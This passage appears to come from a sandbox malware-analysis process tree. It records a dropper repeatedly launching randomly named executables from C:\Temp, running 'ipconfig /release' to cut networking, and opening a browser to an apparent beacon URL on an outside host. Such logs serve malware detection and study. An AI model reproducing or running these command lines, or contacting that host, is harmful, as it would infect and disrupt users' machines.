    C:\temp\CreateProcess.exe C:\Temp\i_pjhecwurmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1520
  - - C:\Temp\i_pjhecwurmj.exe
      C:\Temp\i_pjhecwurmj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4436
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zurmjebwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3936
  - - C:\Temp\zurmjebwuo.exe
      C:\Temp\zurmjebwuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1364
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5476
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zurmjebwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1060
  - - C:\Temp\i_zurmjebwuo.exe
      C:\Temp\i_zurmjebwuo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3652
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qojgebwtrl.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3624
  - - C:\Temp\qojgebwtrl.exe
      C:\Temp\qojgebwtrl.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:248
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5428
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qojgebwtrl.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2840
  - - C:\Temp\i_qojgebwtrl.exe
      C:\Temp\i_qojgebwtrl.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3204
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tqoigeyvtn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1536
  - - C:\Temp\tqoigeyvtn.exe
      C:\Temp\tqoigeyvtn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5488
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2892
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6092
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tqoigeyvtn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5656
  - - C:\Temp\i_tqoigeyvtn.exe
      C:\Temp\i_tqoigeyvtn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ayvqnlgays.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5820
  - - C:\Temp\ayvqnlgays.exe
      C:\Temp\ayvqnlgays.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3492
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1116
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2516
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ayvqnlgays.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4140
  - - C:\Temp\i_ayvqnlgays.exe
      C:\Temp\i_ayvqnlgays.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1108
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\idavsqkica.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5616
  - - C:\Temp\idavsqkica.exe
      C:\Temp\idavsqkica.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4628
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3664
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_idavsqkica.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2352
  - - C:\Temp\i_idavsqkica.exe
      C:\Temp\i_idavsqkica.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqkicausn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:6020
  - - C:\Temp\ysqkicausn.exe
      C:\Temp\ysqkicausn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2112
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqkicausn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4712
  - - C:\Temp\i_ysqkicausn.exe
      C:\Temp\i_ysqkicausn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4384
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\smkfcxusmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4656
  - - C:\Temp\smkfcxusmk.exe
      C:\Temp\smkfcxusmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1872
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1008
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_smkfcxusmk.exe ups_ins
    3⤵
    PID:5676
  - - C:\Temp\i_smkfcxusmk.exe
      C:\Temp\i_smkfcxusmk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3040
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkecwupmke.exe ups_run
    3⤵
    PID:4172
  - - C:\Temp\mkecwupmke.exe
      C:\Temp\mkecwupmke.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3424
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4904
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:236
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkecwupmke.exe ups_ins
    3⤵
    PID:1632
  - - C:\Temp\i_mkecwupmke.exe
      C:\Temp\i_mkecwupmke.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5024
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mhezwromke.exe ups_run
    3⤵
    PID:4156
  - - C:\Temp\mhezwromke.exe
      C:\Temp\mhezwromke.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5664
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5044
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mhezwromke.exe ups_ins
    3⤵
    PID:4744
  - - C:\Temp\i_mhezwromke.exe
      C:\Temp\i_mhezwromke.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2016
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjebztrmje.exe ups_run
    3⤵
    PID:3648
  - - C:\Temp\mjebztrmje.exe
      C:\Temp\mjebztrmje.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3704
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:368
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4308
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mjebztrmje.exe ups_ins
    3⤵
    PID:5984
  - - C:\Temp\i_mjebztrmje.exe
      C:\Temp\i_mjebztrmje.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oigebztrlj.exe ups_run
    3⤵
    PID:3068
  - - C:\Temp\oigebztrlj.exe
      C:\Temp\oigebztrlj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6128
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5472
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1312
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oigebztrlj.exe ups_ins
    3⤵
    PID:5028
  - - C:\Temp\i_oigebztrlj.exe
      C:\Temp\i_oigebztrlj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3932
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigaysqli.exe ups_run
    3⤵
    PID:2432
  - - C:\Temp\qoigaysqli.exe
      C:\Temp\qoigaysqli.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2836
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3212
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3776
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigaysqli.exe ups_ins
    3⤵
    PID:3756
  - - C:\Temp\i_qoigaysqli.exe
      C:\Temp\i_qoigaysqli.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\avsqoifdyv.exe ups_run
    3⤵
    PID:3396
  - - C:\Temp\avsqoifdyv.exe
      C:\Temp\avsqoifdyv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5640
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2516
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_avsqoifdyv.exe ups_ins
    3⤵
    PID:3760
  - - C:\Temp\i_avsqoifdyv.exe
      C:\Temp\i_avsqoifdyv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1320
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqnifaxsq.exe ups_run
    3⤵
    PID:4088
  - - C:\Temp\ysqnifaxsq.exe
      C:\Temp\ysqnifaxsq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2324
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:556
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqnifaxsq.exe ups_ins
    3⤵
    PID:3160
  - - C:\Temp\i_ysqnifaxsq.exe
      C:\Temp\i_ysqnifaxsq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causmkfcav.exe ups_run
    3⤵
    PID:2104
  - - C:\Temp\causmkfcav.exe
      C:\Temp\causmkfcav.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3420
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3900
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causmkfcav.exe ups_ins
    3⤵
    PID:4080
  - - C:\Temp\i_causmkfcav.exe
      C:\Temp\i_causmkfcav.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2080
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecauspnkwu.exe ups_run
    3⤵
    PID:4972
  - - C:\Temp\ecauspnkwu.exe
      C:\Temp\ecauspnkwu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5376
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1204
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4508
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecauspnkwu.exe ups_ins
    3⤵
    PID:1540
  - - C:\Temp\i_ecauspnkwu.exe
      C:\Temp\i_ecauspnkwu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3356
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2cc,0x2f4,0x2f8,0x258,0x300,0x7ffcfc80c188,0x7ffcfc80c194,0x7ffcfc80c1a0
      4⤵
      PID:4844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1972,i,14904120165962030875,6824689717094120167,262144 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:2
      4⤵
      PID:6132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2152,i,15972265045657433320,16154251882828343235,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:11
      4⤵
      System Time Discovery
      PID:1592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2656,i,11113989485747265138,5838174693358585347,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:13
      4⤵
      PID:1052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3572,i,689736797236652122,7746950076912410117,2097152 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
      4⤵
      PID:4972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,3208549407112230669,12344265879232900687,2097152 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
      4⤵
      PID:1548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4264,i,8443400321890490261,13106988800991605814,2097152 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
      4⤵
      PID:1500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4280,i,5110779189619392819,16407157047092329685,2097152 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4316 /prefetch:9
      4⤵
      PID:2680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,16521022927522410870,13438630820908848715,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:14
      4⤵
      PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5244,i,11647952886461581099,1350053509984462828,2097152 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:1
      4⤵
      PID:5624
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3856,i,14279679391052418329,18196766110262641209,2097152 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
      4⤵
      PID:3176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4252,i,7157566706389585828,6495013086645636597,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
      4⤵
      PID:576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4788,i,16741136477961948699,18111055560927709469,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:14
      4⤵
      PID:4420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,12425398638954293961,16451937042474992038,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
      4⤵
      PID:3044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,12425398638954293961,16451937042474992038,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
      4⤵
      PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6284,i,903940889758605738,6974115333493960873,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
      4⤵
      PID:356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6500,i,10892533239430815513,11499648727701156303,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:14
      4⤵
      PID:4452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,5799891802180292457,2157390218667650483,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:14
      4⤵
      PID:4140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,17738614118875717588,16633702155815982838,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=1380 /prefetch:14
      4⤵
      PID:4604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1284,i,5296481763363681556,16363261860719843058,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:14
      4⤵
      PID:4332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,14722080081341660643,10691985371502258927,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:14
      4⤵
      PID:252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5700,i,16159849407631209142,12397771087738303288,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:14
      4⤵
      PID:3396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4992,i,5404791906257174216,7538653259571875100,524288 --field-trial-handle=2480,i,13662803746157806815,6043746736389033376,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
      4⤵
      PID:2756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
